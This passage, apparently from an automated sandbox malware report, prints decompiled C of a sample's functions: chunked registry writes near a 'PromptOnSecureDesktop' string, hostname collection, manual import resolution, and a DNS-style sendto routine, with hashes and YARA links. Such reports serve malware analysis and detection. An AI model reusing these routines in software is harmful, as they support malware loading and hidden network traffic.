				_t61 = _t60 + 0xc;
				if(_t50 <= _t57) {
					L11:
					E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
					RegDeleteValueA(_v16,  &_v48);
					RegCloseKey(_v16);
					return 0 | _t50 == _t57;
				} else {
					while(1) {
						_t58 = 0xff000;
						if(_t50 < 0xff000) {
							_t58 = _t50;
						}
						E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
						_t61 = _t61 + 0xc;
						if(RegSetValueExA(_v16,  &_v48, 0, 3, _v12, _t58) != 0) {
							break;
						}
						_v12 =  &(_v12[_t58]);
						_t50 = _t50 - _t58;
						_v8 = _v8 + 1;
						if(_t50 > 0) {
							continue;
						}
						break;
					}
					_t57 = 0;
					goto L11;
				}
			}

0x0040e09c
0x0040e0ba
0x00000000
0x0040e172
0x0040e0c3
0x0040e0c6
0x0040e0c9
0x0040e0cc
0x0040e0cc
0x0040e0ce
0x0040e0cf
0x0040e0d7
0x0040e0d9
0x0040e0df
0x0040e0e3
0x0040e0e3
0x0040e0ec
0x0040e0f1
0x0040e0f4
0x0040e0f9
0x0040e13f
0x0040e149
0x0040e158
0x0040e161
0x00000000
0x0040e0fb
0x0040e0fb
0x0040e0fb
0x0040e102
0x0040e104
0x0040e104
0x0040e110
0x0040e115
0x0040e12f
0x00000000
0x00000000
0x0040e131
0x0040e134
0x0040e136
0x0040e13b
0x00000000
0x00000000
0x00000000
0x0040e13b
0x0040e13d
0x00000000
0x0040e13d

APIs

RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E0D3

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction ID: af4a942e7328ea1ce2cdf979f73f75556816175b5134196b99f0fb832a21e1c2
Opcode Fuzzy Hash: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction Fuzzy Hash: 2F218071A00219BBDF209FA6EC89EDF7F79EF08754F008072F904A6190E6718A64DB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD08, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AD08(CHAR* _a4) {
				char _v132;
				int _t9;
				char _t11;
				intOrPtr* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t9 = gethostname( &_v132, 0x80);
				if(_t9 != 0) {
					_t14 = _a4;
					L15:
					if( *_t14 != 0) {
						return _t9;
					}
					return lstrcpyA(_t14, "LocalHost");
				}
				_t13 = _a4;
				_t11 = _v132;
				_t12 =  &_v132;
				_t14 = _t13;
				while(_t11 != 0) {
					if(_t11 < 0x61 || _t11 > 0x7a) {
						if(_t11 < 0x41 || _t11 > 0x5a) {
							if(_t11 < 0x30 || _t11 > 0x39) {
								if(_t11 != 0x2e) {
									goto L10;
								}
							}
						}
						goto L9;
					} else {
						L9:
						 *_t13 = _t11;
						_t13 =  &(_t13[1]);
						L10:
						_t12 = _t12 + 1;
						_t11 =  *_t12;
						continue;
					}
				}
				_t9 = lstrlenA(_t14);
				if(_t14[_t9] == 0x2e) {
					_t9 = lstrlenA(_t14);
					_t14[_t9] = 0;
				}
				goto L15;
			}

0x0040ad1c
0x0040ad24
0x0040ad71
0x0040ad74
0x0040ad77
0x0040ad88
0x0040ad88
0x00000000
0x0040ad7f
0x0040ad26
0x0040ad29
0x0040ad2c
0x0040ad2f
0x0040ad55
0x0040ad35
0x0040ad3d
0x0040ad45
0x0040ad4d
0x00000000
0x00000000
0x0040ad4d
0x0040ad45
0x00000000
0x0040ad4f
0x0040ad4f
0x0040ad4f
0x0040ad51
0x0040ad52
0x0040ad52
0x0040ad53
0x00000000
0x0040ad53
0x0040ad35
0x0040ad60
0x0040ad66
0x0040ad69
0x0040ad6b
0x0040ad6b
0x00000000

APIs

gethostname.WS2_32(?,00000080), ref: 0040AD1C
lstrlenA.KERNEL32(00000000), ref: 0040AD60
lstrlenA.KERNEL32(00000000), ref: 0040AD69
lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Strings

LocalHost, xrefs: 0040AD79

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: lstrlen$gethostnamelstrcpy
String ID: LocalHost
API String ID: 3695455745-3154191806
Opcode ID: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction ID: 5e983dddb47fd7e780230f110e9d304ee880480ae48faa8370a3fb9af9ed59c3
Opcode Fuzzy Hash: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction Fuzzy Hash: FA0149208443895EDF3107289844BEA3F675F9670AF104077E4C0BB692E77C8893835F

Uniqueness

Uniqueness Score: -1.00%

Function 00406069, Relevance: 7.6, APIs: 5, Instructions: 121
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406069(_Unknown_base(*)()* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				struct HINSTANCE__* _v16;
				intOrPtr _t47;
				_Unknown_base(*)()* _t48;
				_Unknown_base(*)()* _t50;
				struct HINSTANCE__* _t52;
				_Unknown_base(*)()* _t53;
				_Unknown_base(*)()* _t54;
				_Unknown_base(*)()* _t55;
				signed int _t56;
				_Unknown_base(*)()* _t59;
				_Unknown_base(*)()* _t62;
				_Unknown_base(*)()* _t63;
				intOrPtr _t69;
				_Unknown_base(*)()* _t76;
				_Unknown_base(*)()* _t77;
				intOrPtr* _t82;
				void* _t85;
				intOrPtr* _t87;
				_Unknown_base(*)()* _t89;

				_t82 = _a4;
				_t47 =  *_t82;
				_t3 = _t82 + 4; // 0x65e85621
				_t69 =  *_t3;
				_v12 = 1;
				if( *((intOrPtr*)(_t47 + 0x84)) != 0) {
					_t85 =  *((intOrPtr*)(_t47 + 0x80)) + _t69;
					_t48 = IsBadReadPtr(_t85, 0x14);
					__eflags = _t48;
					if(_t48 != 0) {
						L29:
						return _v12;
					}
					_t87 = _t85 + 0x10;
					_v8 = _t87;
					while(1) {
						_t50 =  *(_t87 - 4);
						__eflags = _t50;
						if(_t50 == 0) {
							goto L29;
						}
						_t52 = LoadLibraryA(_t50 + _t69);
						_v16 = _t52;
						__eflags = _t52 - 0xffffffff;
						if(_t52 == 0xffffffff) {
							L28:
							_t44 =  &_v12;
							 *_t44 = _v12 & 0x00000000;
							__eflags =  *_t44;
							goto L29;
						}
						_t10 = _t82 + 8; // 0x8bfffffa
						_t53 =  *_t10;
						__eflags = _t53;
						if(_t53 != 0) {
							_t14 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBED(_t53, 4 +  *_t14 * 4);
						} else {
							_t11 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBCC(4 +  *_t11 * 4);
						}
						 *(_t82 + 8) = _t54;
						__eflags = _t54;
						if(_t54 == 0) {
							goto L28;
						} else {
							_t18 = _t82 + 0xc; // 0x28408b06
							 *((intOrPtr*)(_t54 +  *_t18 * 4)) = _v16;
							 *(_t82 + 0xc) =  *(_t82 + 0xc) + 1;
							_t55 =  *(_t87 - 0x10);
							__eflags = _t55;
							if(_t55 == 0) {
								_t89 =  *_t87 + _t69;
								__eflags = _t89;
								_t76 = _t89;
							} else {
								_t89 = _t55 + _t69;
								_t76 =  *_v8 + _t69;
							}
							_t56 =  *_t89;
							__eflags = _t56;
							if(_t56 == 0) {
								L25:
								__eflags = _v12;
								if(_v12 == 0) {
									goto L29;
								}
								_v8 = _v8 + 0x14;
								_t59 = IsBadReadPtr(_v8 + 0xfffffff0, 0x14);
								__eflags = _t59;
								if(_t59 == 0) {
									_t87 = _v8;
									continue;
								}
								goto L29;
							} else {
								_a4 = _t76;
								_a4 = _a4 - _t89;
								__eflags = _t56;
								do {
									if(__eflags >= 0) {
										_t62 = GetProcAddress(_v16, _t56 + _t69 + 2);
										__eflags = _t62;
										if(_t62 == 0) {
											L21:
											_t63 = _a4;
											__eflags =  *(_t63 + _t89);
											if( *(_t63 + _t89) == 0) {
												_t38 =  &_v12;
												 *_t38 = _v12 & 0x00000000;
												__eflags =  *_t38;
												goto L25;
											}
											goto L22;
										}
										_t77 = _a4;
										__eflags = _t62 -  *(_t77 + _t89);
										if(_t62 ==  *(_t77 + _t89)) {
											goto L21;
										}
										L20:
										 *(_t77 + _t89) = _t62;
										goto L21;
									}
									_t62 = GetProcAddress(_v16, _t56 & 0x0000ffff);
									_t77 = _a4;
									goto L20;
									L22:
									_t89 = _t89 + 4;
									_t56 =  *_t89;
									__eflags = _t56;
								} while (__eflags != 0);
								goto L25;
							}
						}
					}
					goto L29;
				}
				return 1;
			}

0x00406071
0x00406074
0x0040607c
0x0040607c
0x00406082
0x00406087
0x00406099
0x0040609c
0x004060a2
0x004060a4
0x004061b2
0x00000000
0x004061b5
0x004060aa
0x004060ad
0x004060b5
0x004060b5
0x004060b8
0x004060ba
0x00000000
0x00000000
0x004060c3
0x004060c9
0x004060cc
0x004060cf
0x004061ae
0x004061ae
0x004061ae
0x004061ae
0x00000000
0x004061ae
0x004060d5
0x004060d5
0x004060d8
0x004060da
0x004060ee
0x004060fa
0x004060dc
0x004060dc
0x004060e7
0x004060e7
0x00406101
0x00406104
0x00406106
0x00000000
0x0040610c
0x0040610c
0x00406112
0x00406115
0x00406118
0x0040611b
0x0040611d
0x0040612d
0x0040612d
0x0040612f
0x0040611f
0x0040611f
0x00406127
0x00406127
0x00406131
0x00406133
0x00406135
0x0040618b
0x0040618b
0x0040618f
0x00000000
0x00000000
0x00406191
0x0040619e
0x004061a4
0x004061a6
0x004060b2
0x00000000
0x004060b2
0x00000000
0x00406137
0x00406137
0x0040613a
0x0040613d
0x0040613f
0x0040613f
0x0040615e
0x00406164
0x00406166
0x00406173
0x00406173
0x00406176
0x0040617a
0x00406187
0x00406187
0x00406187
0x00000000
0x00406187
0x00000000
0x0040617a
0x00406168
0x0040616b
0x0040616e
0x00000000
0x00000000
0x00406170
0x00406170
0x00000000
0x00406170
0x0040614a
0x00406150
0x00000000
0x0040617c
0x0040617c
0x0040617f
0x00406181
0x00406181
0x00000000
0x00406185
0x00406135
0x00406106
0x00000000
0x004060b5
0x00000000

APIs

IsBadReadPtr.KERNEL32(?,00000014,00000000,?,00000000,?,004064CF,00000000), ref: 0040609C
LoadLibraryA.KERNEL32(?,?,004064CF,00000000), ref: 004060C3
GetProcAddress.KERNEL32(?,00000014), ref: 0040614A
IsBadReadPtr.KERNEL32(-000000DC,00000014), ref: 0040619E

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: Read$AddressLibraryLoadProc
String ID:
API String ID: 2438460464-0
Opcode ID: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction ID: 2c66ad34c3d6fb1da92a891872b73c8746f5f3d5bf62d79dfacd6c24df0475f4
Opcode Fuzzy Hash: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction Fuzzy Hash: D5418C71A00105AFDB10CF58C884BAAB7B9EF14354F26807AE816EB3D1D738ED61CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00402923, Relevance: 7.6, APIs: 5, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00402923(void* __ecx, void* __esi, intOrPtr _a4) {
				signed int* _v8;
				signed int* _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed short _v28;
				short _v30;
				short _v32;
				char _v292;
				char _v296;
				void* __ebx;
				void* __edi;
				void* _t37;
				intOrPtr _t41;
				signed int* _t42;
				signed short _t53;
				signed int** _t62;
				void* _t67;
				void* _t70;
				intOrPtr _t71;
				intOrPtr* _t79;
				signed int* _t80;
				void* _t81;
				void* _t82;
				void* _t83;

				_t81 = __esi;
				_t37 = 0xc;
				_v8 = 0;
				_v16 = 0;
				if(_a4 >= _t37) {
					_t67 = E00402816(_t37, __esi, __ecx, __esi, _a4);
					if(_t67 < _a4) {
						_t76 =  *(__esi + 6) & 0x0000ffff;
						_t41 = ( *(__esi + 0xa) & 0x0000ffff) + ( *(__esi + 8) & 0x0000ffff) + ( *(__esi + 6) & 0x0000ffff);
						_v20 = _t41;
						_v12 = 0;
						if(_t41 <= 0) {
							L13:
							_t42 = _v16;
							L14:
							return _t42;
						}
						while(_t67 < _a4) {
							E0040EE2A(_t76,  &_v296, 0, 0x114);
							_t70 = E00402871(_t67, _t81, _t76,  &_v292, _a4);
							_t15 = _t70 + 0xa; // 0xa
							_t83 = _t82 + 0x10;
							if(_t15 >= _a4) {
								goto L13;
							}
							_t79 = __imp__#15;
							_v32 =  *_t79( *(_t70 + _t81) & 0x0000ffff);
							_v30 =  *_t79( *(_t70 + _t81 + 2) & 0x0000ffff);
							_t53 =  *_t79( *(_t70 + _t81 + 8) & 0x0000ffff);
							_v28 = _t53;
							_t71 = _t70 + 0xa;
							_v24 = _t71;
							if((_t53 & 0x0000ffff) + _t71 > _a4) {
								goto L13;
							}
							_t80 = HeapAlloc(GetProcessHeap(), 0, 0x124);
							if(_t80 == 0) {
								goto L13;
							}
							E0040EE2A(_t76, _t80, 0, 0x124);
							E0040EE08(_t80,  &_v296, 0x114);
							 *_t80 =  *_t80 & 0x00000000;
							_t67 = _t71 + (_v28 & 0x0000ffff);
							_t62 = _v8;
							_t82 = _t83 + 0x18;
							_v8 = _t80;
							if(_t62 != 0) {
								 *_t62 = _t80;
							} else {
								_v16 = _t80;
							}
							_v12 = _v12 + 1;
							if(_v12 < _v20) {
								continue;
							} else {
								goto L13;
							}
						}
						goto L13;
					}
					_t42 = 0;
					goto L14;
				}
				return 0;
			}

0x00402923
0x00402931
0x00402932
0x00402935
0x0040293b
0x00402950
0x00402957
0x0040296a
0x0040296e
0x00402970
0x00402973
0x00402978
0x00402a5b
0x00402a5b
0x00402a5e
0x00000000
0x00402a5e
0x0040297e
0x00402995
0x004029ac
0x004029ae
0x004029b1
0x004029b7
0x00000000
0x00000000
0x004029c1
0x004029ca
0x004029d6
0x004029e0
0x004029e2
0x004029e6
0x004029ee
0x004029f4
0x00000000
0x00000000
0x00402a0a
0x00402a0e
0x00000000
0x00000000
0x00402a18
0x00402a2a
0x00402a33
0x00402a36
0x00402a38
0x00402a3b
0x00402a3e
0x00402a43
0x00402a4a
0x00402a45
0x00402a45
0x00402a45
0x00402a4c
0x00402a55
0x00000000
0x00000000
0x00000000
0x00000000
0x00402a55
0x00000000
0x0040297e
0x00402959
0x00000000
0x00402959
0x00000000

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction ID: 0bfd2bf0caf83722c61519a9099cbfb16c0865a6a5fe5c2769a2057d5fd36f2a
Opcode Fuzzy Hash: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction Fuzzy Hash: 2931A471A00219ABCB109FA6CD85ABEB7F4FF48705F10846BF504F62C1E7B8D6418B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040E654, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 96
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E654(intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				intOrPtr _t30;
				CHAR* _t31;
				int _t34;
				intOrPtr* _t41;
				intOrPtr* _t42;
				void* _t47;
				intOrPtr _t51;
				int _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t55;
				char _t59;

				E0040DD05();
				_t41 = 0x4120e8;
				_t55 =  *0x4120e8 - 0x4120e8; // 0x4120e8
				if(_t55 == 0) {
					L9:
					_t53 = E0040EBCC(0x1c);
					if(_t53 != 0) {
						 *((intOrPtr*)(_t53 + 0x18)) = _a4;
						 *((intOrPtr*)(_t53 + 4)) = _a8;
						E00403E8F(0x4120e8, _t53);
						__eflags = _a12;
						if(_a12 == 0) {
							 *(_t53 + 8) = 0;
						} else {
							_t15 = _t53 + 8; // 0x8
							lstrcpynA(_t15, _a12, 0xf);
							 *((char*)(_t53 + 0x17)) = 0;
						}
						L15:
						_t42 = 0x4120e4;
						__eflags =  *0x4120e4 - _t42; // 0x4120e4
						if(__eflags == 0) {
							L22:
							_t47 = 1;
							L11:
							E0040DD69();
							return _t47;
						} else {
							goto L16;
						}
						do {
							L16:
							_t30 =  *((intOrPtr*)(_t53 + 4));
							_t51 =  *_t42;
							__eflags = _t30 - 0xffffffff;
							if(_t30 == 0xffffffff) {
								L18:
								_t20 = _t53 + 8; // 0x8
								_t31 = _t20;
								__eflags =  *_t31;
								if( *_t31 == 0) {
									L20:
									_t52 = _t51 + 0xc;
									__eflags = _t52;
									 *((intOrPtr*)(_t53 + 0x18))(_t52, 1);
									goto L21;
								}
								_t34 = lstrcmpA(_t51 + 0x10, _t31);
								__eflags = _t34;
								if(_t34 != 0) {
									goto L21;
								}
								goto L20;
							}
							__eflags =  *(_t51 + 0xc) - _t30;
							if( *(_t51 + 0xc) != _t30) {
								goto L21;
							}
							goto L18;
							L21:
							_t42 =  *_t42;
							__eflags =  *_t42 - 0x4120e4;
						} while ( *_t42 != 0x4120e4);
						goto L22;
					}
					_t47 = 0;
					goto L11;
				} else {
					goto L1;
				}
				do {
					L1:
					_t54 =  *_t41;
					if( *((intOrPtr*)(_t54 + 0x18)) == _a4 &&  *((intOrPtr*)(_t54 + 4)) == _a8) {
						if(_a12 != 0) {
							_t8 = _t54 + 8; // 0x751443e8
							__eflags = lstrcmpA(_t8, _a12);
						} else {
							_t59 =  *(_t54 + 8);
						}
						if(_t59 == 0) {
							break;
						} else {
							goto L7;
						}
					}
					L7:
					_t41 =  *_t41;
					_t53 = 0;
				} while ( *_t41 != 0x4120e8);
				if(_t53 != 0) {
					goto L15;
				}
				goto L9;
			}

0x0040e65a
0x0040e664
0x0040e666
0x0040e66c
0x0040e6a9
0x0040e6b0
0x0040e6b5
0x0040e6c8
0x0040e6d0
0x0040e6d3
0x0040e6d8
0x0040e6de
0x0040e6f5
0x0040e6e0
0x0040e6e5
0x0040e6e9
0x0040e6ef
0x0040e6ef
0x0040e6f9
0x0040e6f9
0x0040e6fe
0x0040e704
0x0040e741
0x0040e743
0x0040e6b9
0x0040e6b9
0x0040e6c4
0x00000000
0x00000000
0x00000000
0x0040e706
0x0040e706
0x0040e706
0x0040e709
0x0040e70b
0x0040e70e
0x0040e715
0x0040e715
0x0040e715
0x0040e718
0x0040e71b
0x0040e72c
0x0040e72c
0x0040e72c
0x0040e732
0x00000000
0x0040e736
0x0040e722
0x0040e728
0x0040e72a
0x00000000
0x00000000
0x00000000
0x0040e72a
0x0040e710
0x0040e713
0x00000000
0x00000000
0x00000000
0x0040e737
0x0040e737
0x0040e739
0x0040e739
0x00000000
0x0040e706
0x0040e6b7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e66e
0x0040e66e
0x0040e66e
0x0040e676
0x0040e684
0x0040e68f
0x0040e699
0x0040e686
0x0040e686
0x0040e686
0x0040e69b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e69b
0x0040e69d
0x0040e69d
0x0040e69f
0x0040e6a1
0x0040e6a7
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

lstrcmpA.KERNEL32(751443E8,00000000,?,751443E0,00000000,?,00405EC1), ref: 0040E693
lstrcpynA.KERNEL32(00000008,00000000,0000000F,?,751443E0,00000000,?,00405EC1), ref: 0040E6E9
lstrcmpA.KERNEL32(?,00000008,?,751443E0,00000000,?,00405EC1), ref: 0040E722

Strings

A, xrefs: 0040E6F9, 0040E6FE, 0040E739
A, xrefs: 0040E65F, 0040E666, 0040E6CF, 0040E731

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: lstrcmp$CountCurrentExchangeInterlockedThreadTicklstrcpyn
String ID: A$ A
API String ID: 3343386518-686259309
Opcode ID: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction ID: 47b803fc1c440cad9c550ff35358ad860d5bc2ca4051ff98ce99c32b6473ed9c
Opcode Fuzzy Hash: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction Fuzzy Hash: CC31C031600301DBCB318F66E8847977BE4AB24314F508D3BE555A7690D779E8A0CB89

Uniqueness

Uniqueness Score: -1.00%

Function 004026FF, Relevance: 7.6, APIs: 5, Instructions: 96
networkCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E004026FF(intOrPtr* __eax, intOrPtr _a4, intOrPtr _a8, long _a12) {
				long* _t33;
				long _t35;
				long* _t36;
				long _t37;
				long _t38;
				short _t39;
				short _t40;
				char _t42;
				intOrPtr _t43;
				void* _t48;
				long* _t49;
				long* _t51;
				long* _t52;
				long* _t53;
				long* _t54;
				void* _t55;
				long* _t56;
				long* _t57;
				long* _t60;
				intOrPtr* _t63;
				intOrPtr* _t65;
				void* _t66;

				_t65 = __eax;
				_t33 =  *0x412bf8; // 0x0
				_t42 = 0;
				if(_t33 == 0) {
					_t33 = E0040EBCC(0x400);
					_pop(_t48);
					 *0x412bf8 = _t33;
				}
				E0040EE2A(_t48, _t33, _t42, 0x400);
				_t35 = GetTickCount();
				_t49 =  *0x412bf8; // 0x0
				_t63 = __imp__#9;
				 *_t49 = _t35;
				_t36 =  *0x412bf8; // 0x0
				_t36[0] = _a12;
				_t37 =  *_t63(1);
				_t51 =  *0x412bf8; // 0x0
				_t51[1] = _t37;
				_t52 =  *0x412bf8; // 0x0
				_t38 = 0;
				_t52[1] = 0;
				_t53 =  *0x412bf8; // 0x0
				_t53[2] = 0;
				_t54 =  *0x412bf8; // 0x0
				_t54[2] = 0;
				_t60 =  *0x412bf8; // 0x0
				_t55 = 0;
				if( *_t65 != _t42) {
					do {
						_t43 =  *((intOrPtr*)(_t38 + _t65));
						_a12 = _t38;
						while(_t43 != 0) {
							if(_t43 != 0x2e) {
								_a12 = _a12 + 1;
								_t43 =  *((intOrPtr*)(_a12 + _t65));
								continue;
							}
							break;
						}
						 *((char*)(_t55 +  &(_t60[3]))) = _a12 - _t38;
						_t55 = _t55 + 1;
						while(_t38 < _a12) {
							 *((char*)(_t55 +  &(_t60[3]))) =  *((intOrPtr*)(_t38 + _t65));
							_t55 = _t55 + 1;
							_t38 = _t38 + 1;
						}
						if( *((char*)(_t38 + _t65)) == 0x2e) {
							_t38 = _t38 + 1;
						}
						_t42 = 0;
					} while ( *((intOrPtr*)(_t38 + _t65)) != 0);
				}
				 *((char*)(_t55 +  &(_t60[3]))) = _t42;
				_t24 = _t55 + 0xd; // 0xf
				_t66 = _t24;
				_t39 =  *_t63(0xf);
				_t56 =  *0x412bf8; // 0x0
				 *((short*)(_t56 + _t66)) = _t39;
				_t40 =  *_t63(1);
				_t57 =  *0x412bf8; // 0x0
				 *((short*)(_t57 + _t66 + 2)) = _t40;
				__imp__#20(_a4, 0x412bf8, _t66 + 4, _t42, _a8, 0x10);
				return 0 | _t40 <= 0x00000000;
			}

0x00402704
0x00402706
0x0040270b
0x00402715
0x00402718
0x0040271d
0x0040271e
0x0040271e
0x00402726
0x0040272e
0x00402734
0x0040273a
0x00402740
0x00402743
0x0040274e
0x00402752
0x00402754
0x0040275a
0x0040275e
0x00402764
0x00402766
0x0040276a
0x00402770
0x00402774
0x0040277a
0x0040277e
0x00402784
0x00402788
0x0040278a
0x0040278a
0x0040278d
0x004027a0
0x00402795
0x00402797
0x0040279d
0x00000000
0x0040279d
0x00000000
0x00402795
0x004027a9
0x004027ad
0x004027b9
0x004027b3
0x004027b7
0x004027b8
0x004027b8
0x004027c2
0x004027c4
0x004027c4
0x004027c5
0x004027c7
0x0040278a
0x004027ce
0x004027d2
0x004027d2
0x004027d5
0x004027d7
0x004027df
0x004027e3
0x004027e5
0x004027f0
0x00402802
0x00402815

APIs

GetTickCount.KERNEL32 ref: 0040272E
htons.WS2_32(00000001), ref: 00402752
htons.WS2_32(0000000F), ref: 004027D5
htons.WS2_32(00000001), ref: 004027E3
sendto.WS2_32(?,00412BF8,00000009,00000000,00000010,00000010), ref: 00402802

Part of subcall function 0040EBCC: GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
Part of subcall function 0040EBCC: RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: htons$Heap$AllocateCountProcessTicksendto
String ID:
API String ID: 1128258776-0
Opcode ID: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction ID: e317574a351225f02cdc10e669db3389ba019fd1a924c3d0ab3f78f3d9a30560
Opcode Fuzzy Hash: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction Fuzzy Hash: B8313A342483969FD7108F74DD80AA27760FF19318B19C07EE855DB3A2D6B6E892D718

Uniqueness

Uniqueness Score: -1.00%

Function 0040F26D, Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(00000000,0000FFFF,00000004,00000000,00000004), ref: 0040F2A0
setsockopt.WS2_32(00000004,0000FFFF,00001005,00000004,00000004), ref: 0040F2C0
setsockopt.WS2_32(00000004,0000FFFF,00001006,00000004,00000004), ref: 0040F2DD
setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0040F2EC
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0040F2FD

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction ID: 54276ff97121d9260d4f5268cf3942b14174050ddbce03adff589c8218e6c2bb
Opcode Fuzzy Hash: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction Fuzzy Hash: 6B110AB2A40248BAEF11DF94CD85FDE7FBCEB44751F008066BB04EA1D0E6B19A44CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402419, Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402419(void* __ecx, CHAR* _a4, intOrPtr _a8, CHAR* _a12) {
				int _v8;
				int _t18;
				intOrPtr _t20;
				CHAR* _t21;
				int _t30;
				CHAR* _t36;

				_t18 = lstrlenA(_a12);
				_t36 = _a4;
				_v8 = _t18;
				_t20 = _a8 + _t36;
				_a8 = _t20;
				if(_t36 >= _t20) {
					L5:
					_t21 = 0;
				} else {
					while(1) {
						_t30 = lstrlenA(_t36);
						_t7 =  &(_t36[1]); // 0x1
						_a4 = _t30 + _t7;
						if(_v8 == _t30 && lstrcmpiA(_t36, _a12) == 0 && _a4 < _a8) {
							break;
						}
						_t36 =  &(_t36[lstrlenA(_a4) + _t30 + 2]);
						if(_t36 < _a8) {
